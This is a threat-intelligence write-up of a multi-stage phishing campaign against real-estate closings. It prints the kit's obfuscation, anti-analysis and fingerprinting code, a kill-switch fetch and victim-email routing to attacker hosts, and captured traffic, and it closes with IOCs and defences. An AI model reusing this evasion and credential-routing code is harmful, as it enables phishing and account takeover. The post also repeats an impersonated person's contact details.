Dissecting a Real Estate BEC Phishing Chain: From Fake Stewart Title Closing Docs to Multi-Layer Encrypted AiTM Router

TL;DR

We received a Business Email Compromise (BEC) phishing email impersonating a Stewart Title escrow officer, sent from a compromised law firm email account. The email claimed to contain Borrower Closing Disclosure documents and Payoff Statements. Our analysis revealed a sophisticated five-stage attack chain:

• Stage 1: A fake Stewart Title document portal hosted on lovable[.]app — a legitimate AI-powered web app builder abused as phishing infrastructure
• Stage 2: A fake CAPTCHA gate on framer.miofreahou[.]icu with the same obfuscation techniques we documented in our previous BEC analysis
• Stage 3: A triple-encrypted JavaScript payload with anti-analysis protections (WebDriver/Burp/PhantomJS detection, DevTools timing traps, right-click blocking), OS fingerprinting that blocks Linux users, and a remote kill switch on tiktok.frooshouwa[.]best
• Stage 4: A server-side AiTM credential router that extracts the victim’s email from the URL, POSTs it to the phishing server, and receives an encrypted redirect to the actual credential harvester at sentry.miofreahou[.]icu
• Stage 5: A pixel-perfect Google “Sign in to Gmail” AiTM proxy with every authentication step pre-loaded — password, SMS, authenticator, Google prompt, backup codes, CAPTCHA, and password change — proxying real Google servers in real-time to capture credentials and session tokens

1. The Phishing Email

The attack begins with an email sent from a compromised law firm account. Here are the sanitized headers:

1
2
3
4

From:    Veronica Feinstein <vfeinstein@goldmangruderwoods[.]com>
To:      report.spam@[REDACTED].com (Google Groups mailing list)
Subject: Borrower Closing Disclosure (CD) and the Payoff Statements
Date:    Tue, 24 Feb 2026 19:58:01 +0000

What Makes This Email Convincing

The email impersonates Veronica Feinstein, an Escrow Officer at Stewart Title — one of the largest title insurance companies in the United States. The signature includes:

• Full name, title (“Escrow Officer”), and company branding
• Stewart Title office address: 7251 W. Lake Mead Blvd. Ste. 350, Las Vegas, Nevada 89128
• Direct phone numbers: Office (702) 873-0320 Ext. 4345, Mobile (702) 462-3405
• Professional license numbers: Escrow Officer License #3141856, Stewart Title License #807985
• A Stewart Title logo and corporate imagery
• A link to the real Stewart Title YouTube channel (via Proofpoint URL Defense)
• A CertifID wire fraud warning — ironically, a legitimate anti-fraud tool used in real estate closings
• A vacation notice: “I WILL BE ON VACATION MARCH 5-13TH” — adding a sense of urgency to review documents before the escrow officer is unavailable

The email body reads:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

Hi Team,

Attached are the Borrower Closing Disclosure (CD) and the Payoff
Statements for your review and approval.

Click Here To View Documents  →  [stewart-title-closing-document-portal.lovable.app]

Please review the figures, fees, and final terms to ensure everything
aligns with the approved loan structure and compliance requirements.
Let me know if any revisions are needed or if we are clear to proceed.

Kindly provide your approval at your earliest convenience so we can
move forward with the next steps.

Thank you.

This is a textbook real estate wire fraud setup. Closing Disclosures and Payoff Statements are routine documents exchanged between escrow officers, lenders, and title companies during property transactions. The language about “approved loan structure and compliance requirements” sounds authentic to anyone involved in a closing.

Email Authentication Analysis

The email passes all standard authentication checks because it was sent from a genuinely compromised Microsoft 365 account:

1
2
3
4

dkim=pass  [email protected]  header.s=selector1
spf=pass   (domain designates 2a01:111:f403:c10d::1 as permitted sender)
dmarc=pass (p=REJECT sp=REJECT dis=NONE)
arc=pass   (i=1)

The X-MS-Exchange headers confirm this is a legitimate Microsoft 365 tenant:

1
2
3

X-OriginatorOrg:                goldmangruderwoods.com
X-MS-Exchange-CrossTenant-id:   be4bf8c8-1e56-4ace-95c5-8e24f320ba3f
X-MS-Exchange-CrossTenant-AuthAs: Internal

Sender Domain: goldmangruderwoods.com

1
2
3
4
5
6

Domain:        goldmangruderwoods[.]com
Registrar:     Network Solutions, LLC
Creation Date: 2001-10-02
MX Record:     goldmangruderwoods-com.mail.protection.outlook.com
SPF:           v=spf1 ip4:47.23.182.210 include:spf.protection.outlook.com -all
Nameservers:   ns25.worldnic.com, ns26.worldnic.com

Goldman Gruder Woods is a real law firm registered since 2001. Their Microsoft 365 account ([email protected]) was compromised and used to send this phishing email. The attacker leveraged the firm’s legitimate domain reputation and DKIM/SPF/DMARC configuration to bypass email security filters.

2. Stage 1: Fake Stewart Title Portal (lovable.app)

Clicking the link takes the victim to https://stewart-title-closing-document-portal.lovable[.]app/ — a convincing Stewart Title document portal.

The phishing page displays the Stewart Title logo, a progress bar suggesting document loading, a lock icon, and a red “Open Document” button. The footer reads “By continuing, you agree to our terms of service and privacy policy.”

Why Lovable?

Lovable (lovable.app) is a legitimate AI-powered web application builder based in Stockholm, Sweden. Attackers abuse it because:

1. Domain reputation: lovable.app is a trusted domain — email filters and web proxies rarely block it
2. AI-assisted development: The platform’s AI can generate convincing professional-looking pages with minimal effort
3. Free deployment: Apps are deployed instantly on *.lovable.app subdomains
4. SSL by default: Google Trust Services provides wildcard HTTPS certificates
5. Custom subdomain names: The attacker chose stewart-title-closing-document-portal — a convincing, professional-sounding subdomain

Page Structure

The page is a React single-page application with two scripts:

1
2

assets/index-CrBK4DKK.js    (React 18 production bundle)
~flock.js                    (Lovable platform analytics)

The “Open Document” button is a <form> submit that triggers a client-side redirect. When clicked, it redirects to:

1

https://framer.miofreahou[.]icu/lLGIpEy1h5wc!cl/

The subdomain framer is deliberately chosen to suggest the page is hosted on Framer (another legitimate website builder), adding a layer of domain name deception.

Infrastructure

1
2
3
4
5

Platform:     Lovable (AI web app builder, Stockholm, Sweden)
IP Addresses: 185.41.148.1, 185.41.148.2 (Lovable infrastructure)
SSL Cert:     CN=lovable.app (wildcard: *.lovable.app)
  Issuer:     Google Trust Services WE1
  Valid:      2026-02-16 to 2026-05-17

3. Stage 2: Fake CAPTCHA Gate (miofreahou.icu)

The second stage presents a “Human Check” CAPTCHA page:

The CAPTCHA page shows a “Human Check” header with a lock icon, a canvas-rendered challenge code with wave distortion and noise dots, a text input field, and a “Verify Identity” button. A “Live challenge” badge and “Status: active” indicator add false legitimacy.

Obfuscated Form Builder

The page injects a hidden form using the exact same obfuscation pattern we documented in our previous analysis — strong evidence this is the same threat actor or phishing kit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

// Constructs "form" from "performance"
const yq = (w => w[3] + w[4] + w[2] + w[6])("performance");
// → "form"

// Constructs "input" from reversed word initials
const sh = `${"talimsi"[0]}-${"upoun"[3]}-${"paper"[2]}-${"news"[0]}-${"ink"[0]}`
  .split("-").reverse().join("");
// → "input"

// Constructs "hidden" from substring reversal
const cd = "abcneddihxyz".substring(3, 9).split("").reverse().join("");
// → "hidden"

// Constructs "POST" by filtering characters
const bp = [..."M P O S T N"].filter(c => c > "N" && c !== " ").join("");
// → "POST"

Obfuscated Submit Call

After CAPTCHA verification, the form auto-submits using a different word acrostic than the previous campaign:

1
2
3
4
5

document.getElementById('riujksWphv')[
  `stormy umbrellas block misty inlets tonight`
    .split(" ").map(w => w[0]).join("")
]();
// s-u-b-m-i-t → .submit()

The previous campaign used summary user box media index task — different words, same technique.

Server-Side Session: Laravel

The server sets Laravel session cookies, revealing the backend technology:

1
2

Set-Cookie: XSRF-TOKEN=eyJpdiI6...  (Laravel CSRF token)
Set-Cookie: laravel_session=eyJpdiI6...  (Laravel session)

This is a PHP/Laravel application running behind Cloudflare, not a static page.

4. Stage 3: Triple-Encrypted Anti-Analysis Payload

After the CAPTCHA POST, the server delivers a page containing a heavily encrypted JavaScript blob. The encryption uses a seeded PRNG + Caesar cipher + XOR scheme:

1
2
3
4
5
6

const jr = "aBrE27kTxgXU6cPBRN...==:702398:ZmU3M2NmZjI=".split(":");

// Three parts: encrypted_blob : seed_number : base64_key
const encrypted = atob(jr[0]);   // Base64-decoded ciphertext
const seed = parseInt(jr[1]);     // 702398
const key = atob(jr[2]);          // "fe73cff2"

The decryption uses XOR between two values: 0x63,0x66,0x61,0x66 and 0x02,0x12,0x0e,0x04 to derive “atob” — the base64 decode function name. Then it applies a seeded linear congruential generator (LCG) for XOR key generation, followed by a modular Caesar shift.

Anti-Analysis Protections

The decrypted payload contains extensive anti-analysis measures:

Bot Detection:

1
2
3
4
5
6
7
8

if (
  navigator.webdriver ||        // Selenium/Puppeteer
  window.callPhantom ||         // PhantomJS
  window._phantom ||            // PhantomJS
  navigator.userAgent.includes("Burp")  // Burp Suite
) {
  window.location = "about:blank";
}

DevTools Keyboard Shortcuts Blocked:

Right-Click Disabled:

1
2
3
4

document.addEventListener("contextmenu", function(e) {
  e.preventDefault();
  return false;
});

Debugger Timing Trap:

1
2
3
4
5
6
7
8
9

setInterval(() => {
  const t1 = performance.now();
  debugger;  // Pauses if DevTools is open
  const t2 = performance.now();
  if (t2 - t1 > 100) {
    // DevTools detected — redirect to benign site
    window.location.replace("https://google.com");
  }
}, 100);

OS Fingerprinting

The payload blocks Linux users entirely (except Android):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

var platform = (navigator.platform || '').toLowerCase();
var ua = (navigator.userAgent || '').toLowerCase();
var isLinux = platform.indexOf('linux') !== -1
              && ua.indexOf('android') === -1;

if (isLinux) {
  document.write("");  // Blank page
} else {
  // Continue attack for Windows/macOS/mobile
  setTimeout(function() { up(); }, 150);
}

This targets Windows and macOS users — the primary targets in corporate real estate transactions — while evading Linux-based security sandboxes.

Remote Kill Switch

Before loading the credential harvester, the code checks a remote kill switch:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

fetch('https://tiktok.frooshouwa[.]best/quantum~jxkra', {
  method: "GET",
}).then(response => response.text())
.then(text => {
  if (text == 0) {
    // Campaign ACTIVE — proceed with attack
    fetch("../cyLslHZ12D92rYWxSaYkLjFV3RhYqbPdgT4EZP6lQeXACKje", {
      method: "POST",
      body: formData  // Contains session ID
    }).then(response => response.json())
    .then(data => {
      if (data['status'] == 'success') {
        location.reload();  // Load credential harvester
      }
    });
  }
  if (text != 0) {
    // Campaign DEACTIVATED — redirect to selz.com
    window.location.replace('https://selz.com');
  }
});

At the start of our analysis, the kill switch returned 1 — the campaign appeared deactivated. However, the server-side POST endpoint still returned {"status":"success"}. During subsequent Burp Suite testing, the kill switch began returning 0 — confirming the campaign was reactivated while we were analyzing it. The threat actor is actively monitoring and toggling the campaign in real-time.

5. Stage 4: Server-Side AiTM Credential Router

After the kill switch check passes, the page reloads with a new encrypted payload. After decrypting two additional layers (another seeded PRNG encryption and an XOR cipher with key p8LeHrG21M), the final JavaScript reveals a credential routing system:

Email Extraction from URL

The code extracts the victim’s email address from the phishing URL using multiple delimiter formats:

1
2
3
4
5

// Supports multiple URL formats:
// #[email protected]
// [email protected]
// *[email protected]  (base64 encoded)
// [email protected]  (base64 encoded)

Server-Side AiTM Resolution

The extracted email is POSTed to a server endpoint that returns an encrypted redirect URL:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

$.ajax({
  type: "POST",
  url: "/rqS6f5IbunfLsYWmMFBHO9OeiEGxb4ulZwg4ZVHVfmcC3nbfw",
  data: { data: email },
  success: function(response) {
    // Server returns XOR-encrypted redirect URL
    const decoded = atob(response.data);
    const key = response.key;
    let url = '';
    for (let i = 0; i < decoded.length; i++) {
      url += String.fromCharCode(
        decoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)
      );
    }
    window.location.replace(url);
    // Redirects to: https://sentry.miofreahou[.]icu/{session}/
  }
});

This server-side routing architecture means:

1. No hardcoded phishing URLs in the client-side code — making static analysis ineffective
2. The server can dynamically route different victims to different AiTM proxies
3. The server can return different responses based on the victim’s email domain (targeting specific organizations)
4. The redirect URL is encrypted in transit between server and client

AiTM Proxy Endpoint

The embedded configuration reveals the AiTM proxy URL template:

1

https://sentry.miofreahou[.]icu/{s}/

The {s} placeholder is replaced with a session identifier at runtime. The sentry subdomain (suggesting a monitoring service) is another layer of domain name deception.

Fallback Error Page

If the routing fails, the code displays a fake cPanel “SORRY!” error page containing a Russian hosting provider artifact:

1

[email protected][.]ru

This suggests the phishing kit developer or hosting infrastructure has ties to Russian hosting providers.

6. Stage 5: AiTM Google Sign-In Credential Harvester

After the credential router resolves the AiTM proxy URL, the victim is redirected to a pixel-perfect Google “Sign in to continue to Gmail” page:

The AiTM credential harvester displays a Google Sign-In page identical to the real one — complete with the Google logo, “Email or phone” input, “Forgot email?” link, Guest mode notice, “Create account” and “Next” buttons, and the Help/Privacy/Terms footer. The URL bar shows framer.miofreahou[.]icu, not accounts.google.com.

Full Authentication Flow Pre-Loaded

The page pre-loads every possible Google authentication step as hidden panels, ready to proxy each stage in real-time:

This means the AiTM proxy can intercept every authentication method Google supports — including TOTP codes, SMS codes, phone calls, and Google prompt notifications. Only FIDO2/WebAuthn hardware security keys are immune because the domain mismatch (miofreahou.icu vs google.com) prevents the key from responding.

Decoy Landing Page

When accessing sentry.miofreahou[.]icu without a valid session, the server returns a fake e-commerce site titled “ElectroMax | Premium Electronics & Machinery” — a benign decoy designed to fool security researchers and automated scanners investigating the domain.

Network Behavior

The Google Sign-In page is rendered entirely client-side after JavaScript decryption. No external Google API calls are made until the victim submits credentials — at which point the AiTM proxy relays requests to real Google servers in real-time, capturing credentials and session tokens in transit.

1
2
3
4
5

Network requests from the AiTM page:
1. GET  framer.miofreahou[.]icu/3z7w7k0w67k9?id=...  → 200 (encrypted payload)
2. GET  fonts.googleapis.com/css2?family=Space+Mono    → 200 (Google Fonts)
3. GET  static.cloudflareinsights.com/beacon.min.js    → 503 (Cloudflare analytics, blocked)
4. GET  framer.miofreahou[.]icu/favicon.ico            → pending

No Google authentication endpoints are contacted until the victim clicks “Next” — the initial page is a self-contained HTML/CSS/JS clone decrypted from the encrypted payload.

7. Attack Flow Summary

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

┌─────────────────────────────────────────────────────────────┐
│  1. COMPROMISED LAW FIRM EMAIL                               │
│     vfeinstein@goldmangruderwoods[.]com (real law firm)      │
│     Impersonates Stewart Title escrow officer                │
│     DKIM ✓  SPF ✓  DMARC ✓  ARC ✓                           │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  2. FAKE CLOSING DOCUMENT LINK                               │
│     "Click Here To View Documents"                           │
│     URL: stewart-title-closing-document-portal.lovable[.]app │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  3. STAGE 1: FAKE STEWART TITLE PORTAL (lovable.app)         │
│     Stewart Title logo + progress bar + lock icon            │
│     [Open Document] button                                   │
│     Redirects → framer.miofreahou[.]icu                      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  4. STAGE 2: FAKE CAPTCHA GATE (miofreahou.icu)              │
│     Canvas-rendered CAPTCHA (anti-scanner)                    │
│     Obfuscated JS builds hidden POST form                    │
│     Laravel session management                               │
│     Auto-submits on correct code                             │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  5. STAGE 3: ENCRYPTED ANTI-ANALYSIS PAYLOAD                 │
│     Triple-encrypted JavaScript (seeded PRNG + Caesar + XOR) │
│     Detects: WebDriver, PhantomJS, Burp Suite, DevTools      │
│     Blocks Linux users (targets Windows/macOS/mobile)        │
│     Kill switch: tiktok.frooshouwa[.]best/quantum~jxkra      │
│     Session relay: POST to server with session ID            │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  6. STAGE 4: AiTM CREDENTIAL ROUTER                          │
│     Extracts victim email from URL (hash/query/delimiters)   │
│     POSTs email to server-side routing endpoint              │
│     Server returns XOR-encrypted AiTM redirect URL           │
│     Redirects to: sentry.miofreahou[.]icu/{session}/         │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  7. STAGE 5: AiTM GOOGLE SIGN-IN HARVESTER                   │
│     Pixel-perfect Google "Sign in to Gmail" clone            │
│     All auth steps pre-loaded (password, 2FA, CAPTCHA)       │
│     Real-time proxy to accounts.google.com                   │
│     Captures credentials + session tokens in transit         │
│     Only FIDO2/WebAuthn keys are immune (domain mismatch)    │
└─────────────────────────────────────────────────────────────┘

8. HTTP Traffic Analysis

Below is the captured HTTP traffic for each stage — equivalent to Burp Suite proxy intercepts.

8.1 Stage 1: GET lovable.app Portal

1
2
3
4
5

GET / HTTP/2
Host: stewart-title-closing-document-portal.lovable.app
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

HTTP/2 200
date: Wed, 25 Feb 2026 08:03:08 GMT
content-type: text/html; charset=utf-8
etag: "6d72121d7dffdc1ba132b54abb756bb2"
strict-transport-security: max-age=31536000; includeSubDomains
referrer-policy: strict-origin-when-cross-origin
x-content-type-options: nosniff
set-cookie: __cf_bm=K3NtJDN...; HttpOnly; Secure; Path=/; Domain=lovable.app
server: cloudflare
cf-ray: 9d35af31db289094-BOM

TLS: TLSv1.3 / AEAD-CHACHA20-POLY1305-SHA256. Certificate: CN=lovable.app (wildcard *.lovable.app), issuer Google Trust Services WE1. Edge: Cloudflare BOM (Mumbai). The React SPA renders the fake Stewart Title portal with the “Open Document” button that submits to Stage 2.

8.2 Stage 2: GET CAPTCHA Gate

1
2
3
4

GET /lLGIpEy1h5wc!cl/ HTTP/2
Host: framer.miofreahou[.]icu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Referer: https://stewart-title-closing-document-portal.lovable.app/

1
2
3
4
5
6
7

HTTP/2 200
content-type: text/html; charset=UTF-8
cache-control: no-cache, private
set-cookie: XSRF-TOKEN=eyJpdiI6IkRH...; Max-Age=7200; path=/; secure; samesite=none
set-cookie: laravel_session=eyJpdiI6Ik5r...; Max-Age=7200; path=/; secure; httponly; samesite=none
server: cloudflare
cf-ray: 9d35af480fef48c0-NRT

Key observations: Laravel session cookies (XSRF-TOKEN + laravel_session) are base64-encoded encrypted JSON blobs with iv, value, mac, and tag fields — standard Laravel Encrypter format. The cache-control: no-cache, private prevents proxy caching. Edge: Cloudflare NRT (Tokyo).

8.3 Stage 2: POST CAPTCHA Submit

1
2
3
4
5
6
7
8
9

POST /lLGIpEy1h5wc!cl/ HTTP/2
Host: framer.miofreahou[.]icu
Content-Type: application/x-www-form-urlencoded
Cookie: laravel_session=eyJpdiI6Ik5r...; XSRF-TOKEN=eyJpdiI6IkRH...
Referer: https://framer.miofreahou[.]icu/lLGIpEy1h5wc!cl/
Origin: https://framer.miofreahou[.]icu
Content-Length: 5

zone=

1
2
3
4
5
6

HTTP/2 200
content-type: text/html; charset=UTF-8
set-cookie: XSRF-TOKEN=eyJpdiI6IjBj...; (rotated)
set-cookie: laravel_session=eyJpdiI6ImFL...; (rotated)

<script>window.location.href = window.location.pathname + window.location.search;</script>

The CAPTCHA form POSTs a single hidden field zone= (empty). The server rotates both session cookies and returns a redirect-via-JavaScript (not a 302). This forces the browser to make a fresh GET with the new session cookies, which delivers the encrypted payload.

8.4 Stage 3: GET Encrypted Payload (post-CAPTCHA)

1
2
3
4

GET /lLGIpEy1h5wc!cl/ HTTP/2
Host: framer.miofreahou[.]icu
Cookie: laravel_session=eyJpdiI6ImFL...; XSRF-TOKEN=eyJpdiI6IjBj...
Referer: https://framer.miofreahou[.]icu/lLGIpEy1h5wc!cl/

1
2
3
4
5

HTTP/2 200
content-type: text/html; charset=UTF-8
cache-control: no-cache, private

[6,061 bytes — encrypted JavaScript payload]

The same URL now returns different content based on the session state (CAPTCHA completed). The response is an HTML page with a <script> tag containing a 6KB encrypted blob — the triple-encrypted anti-analysis payload documented in Section 4.

8.5 Kill Switch Check

1
2
3
4

GET /quantum~jxkra HTTP/2
Host: tiktok.frooshouwa[.]best
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

1
2
3
4
5
6
7

HTTP/2 200
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
server: cloudflare
cf-ray: 9d35afc46c3e61e3-KIX

1

Response body: 1 (single character). When 1, the campaign is deactivated — the client-side code redirects to selz.com. When 0, the attack proceeds. The access-control-allow-origin: * header enables cross-origin fetch from the phishing domain. Edge: Cloudflare KIX (Osaka).

8.6 Sentry AiTM Endpoint (no valid session)

1
2
3
4

GET / HTTP/2
Host: sentry.miofreahou[.]icu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

1
2
3
4
5
6
7
8

HTTP/2 404
content-type: text/html; charset=UTF-8
set-cookie: XSRF-TOKEN=eyJpdiI6IkxiS2...; Max-Age=7200; secure; samesite=none
set-cookie: laravel_session=eyJpdiI6InRD...; Max-Age=7200; secure; httponly; samesite=none
server: cloudflare
cf-ray: 9d35af5b9aa1387b-NRT

<title>ElectroMax | Premium Electronics & Machinery</title>

Without a valid session path, the server returns a 404 with a decoy page — a fake e-commerce site called “ElectroMax”. This is designed to fool security researchers and automated scanners investigating the domain. Note: the same Laravel session cookies are still issued, confirming sentry.miofreahou[.]icu runs the same application as framer.miofreahou[.]icu.

8.7 Credential Submission: AiTM Routing (Burp Intercept)

The following traffic was captured through Burp Suite proxy during a controlled credential submission test.

Request — Victim email POSTed to credential router:

1
2
3
4
5
6
7
8

POST /rqS6f5IbunfLsYWmMFBHO9OeiEGxb4ulZwg4ZVHVfmcC3nbfw HTTP/2
Host: framer.miofreahou[.]icu
Content-Type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=eyJpdiI6IjJm...; laravel_session=eyJpdiI6Ii9s...
Origin: https://framer.miofreahou[.]icu
Referer: https://framer.miofreahou[.]icu/lLGIpEy1h5wc!cl/

data=phishing.test%40example.com

Response — XOR-encrypted redirect URL:

1
2
3
4
5
6
7
8

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IjJm...; (rotated)
Set-Cookie: laravel_session=eyJpdiI6Ii9s...; (rotated)
Cf-Ray: 9d35cdda5c793424-HKG

{"data":"ChAQQUteTUpVE1ZZUxYXXloKAxADUgl...","key":"bdd18dbe3a746d933eebf3a61257569b"}

The server returns a JSON object with data (base64-encoded XOR-encrypted redirect URL) and key (the XOR decryption key). Decrypting with the client-side XOR routine reveals:

1
2
3

Encrypted: ChAQQUteTUpVE1ZZUxYXXloKAxAD...  (base64)
Key:       bdd18dbe3a746d933eebf3a61257569b
Decrypted: https://framer.miofreahou[.]icu/1wfflc7pbhz37a?id=428bc5b81d37c30b-...

The server dynamically generates a unique session path (/1wfflc7pbhz37a) for each victim, with the id parameter encoding the AiTM session state. This URL delivers the Google Sign-In AiTM proxy.

8.8 Kill Switch State Change (Burp Intercept)

A second kill switch check via Burp revealed the campaign was reactivated during our analysis:

1
2
3
4

GET /quantum~jxkra HTTP/2
Host: tiktok.frooshouwa[.]best
Origin: https://framer.miofreahou[.]icu
Referer: https://framer.miofreahou[.]icu/

1
2
3
4
5

HTTP/2 200 OK
Access-Control-Allow-Origin: *
Cf-Ray: 9d35ce7eff8bd771-NRT

0

The kill switch now returns 0 (campaign active) — it was returning 1 (deactivated) earlier in our analysis. This confirms the threat actor is actively monitoring and toggling the campaign in real-time.

8.9 AiTM Session Delivery (Burp Intercept)

Following the decrypted redirect URL through Burp:

1
2
3

GET /1wfflc7pbhz37a?id=428bc5b81d37c30b-... HTTP/2
Host: framer.miofreahou[.]icu
Cookie: XSRF-TOKEN=eyJpdiI6IjZm...; laravel_session=eyJpdiI6Imdw...

1
2
3
4
5

HTTP/2 200 OK
Cache-Control: no-cache, private
Cf-Ray: 9d35ce9ae86a7a53-HKG

[Obfuscated JavaScript — Stage 3 loader]

The response contains obfuscated JavaScript that:

1. Creates a FormData from a hidden form
2. POSTs it to the same URL (session relay)
3. Base64-encodes the response
4. Constructs atob via word acrostic: ari[0]+train[0]+organ[0]+blend[0] → “atob”
5. Decodes and writes the encrypted payload to the page

This triggers the full Stage 3 → Stage 4 → Stage 5 decryption chain, ultimately rendering the Google Sign-In AiTM proxy.

Traffic Summary

9. Comparison with Previous Campaign

This attack shares significant code and infrastructure patterns with the BEC phishing chain we analyzed yesterday, suggesting the same threat actor or phishing kit:

The identical CAPTCHA obfuscation pattern — the same string manipulation techniques for “form”, “input”, “hidden”, “POST”, and “submit” — is a strong indicator linking these campaigns.

10. Indicators of Compromise

Network IOCs

URLs

SSL Certificates

Phishing Kit Fingerprints

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# Server-side
Laravel PHP framework (XSRF-TOKEN + laravel_session cookies)
Cloudflare reverse proxy (all phishing domains)

# Client-side libraries
jQuery 3.6.0 (cdn.jsdelivr.net)

# Encryption scheme
Seeded Linear Congruential Generator: (seed * 9301 + 49297) % 233280
Caesar cipher with per-character shift values
XOR with PRNG-derived keystream
Base64 encoding between layers

# Obfuscation signatures
"performance" → "form" (character index extraction)
"talimsi/upoun/paper/news/ink" → "input" (initial letters reversed)
"abcneddihxyz" → "hidden" (substring reversal)
"M P O S T N" → "POST" (character filtering)
"stormy umbrellas block misty inlets tonight" → "submit" (word acrostic)
"Every volcano appears late" → "eval" (character extraction)

# Anti-analysis
WebDriver detection (navigator.webdriver)
PhantomJS detection (callPhantom, _phantom)
Burp Suite user-agent detection
DevTools timing trap (debugger + performance.now)
OS fingerprinting (blocks Linux non-Android)

# Infrastructure artifacts
Russian hosting reference: [email protected][.]ru
Microsoft 365 tenant ID: be4bf8c8-1e56-4ace-95c5-8e24f320ba3f

MITRE ATT&CK

AlienVault OTX Pulse

IOCs from this analysis have been published to AlienVault OTX:

BEC Phishing: Fake Stewart Title Closing Docs to Multi-Layer Encrypted AiTM Router

11. Detection and Recommendations

For Security Teams

• Block miofreahou[.]icu and frooshouwa[.]best at the DNS/proxy level
• Alert on emails containing links to *.lovable.app subdomains, especially in real estate / financial contexts
• Monitor for Microsoft 365 accounts at law firms sending unusual closing document notifications
• Flag emails referencing Stewart Title, closing disclosures, or payoff statements that link to non-Stewart Title domains
• Report the Lovable page at stewart-title-closing-document-portal.lovable.app to the Lovable abuse team
• Report the compromised account to Goldman Gruder Woods and their IT provider

For Real Estate Professionals

• Verify closing document links by calling your escrow officer directly at a known phone number — never use contact info from the email itself
• Check the URL bar — legitimate Stewart Title portals use stewart.com or stewartconnect.com domains, not lovable.app
• Be suspicious of closing documents sent as web links rather than encrypted email attachments or via secure portals like CertifID, Qualia, or SoftPro
• Wire fraud verification: Always verify wiring instructions via a separate communication channel. The irony of this email including a CertifID wire fraud warning while being a phishing email itself should not be lost

For End Users

• Use hardware security keys (FIDO2/WebAuthn) — they are the only 2FA method that AiTM phishing cannot intercept
• Report suspicious emails to your IT security team, even from known contacts
• Check the sender domain — goldmangruderwoods.com is a law firm, not Stewart Title

Analysis performed on 2026-02-25. The phishing campaign’s kill switch toggled from deactivated to active during our analysis — the threat actor is actively monitoring the infrastructure. HTTP traffic captured via Burp Suite proxy. Email headers sanitized to protect the compromised individual’s identity. IOCs published to AlienVault OTX.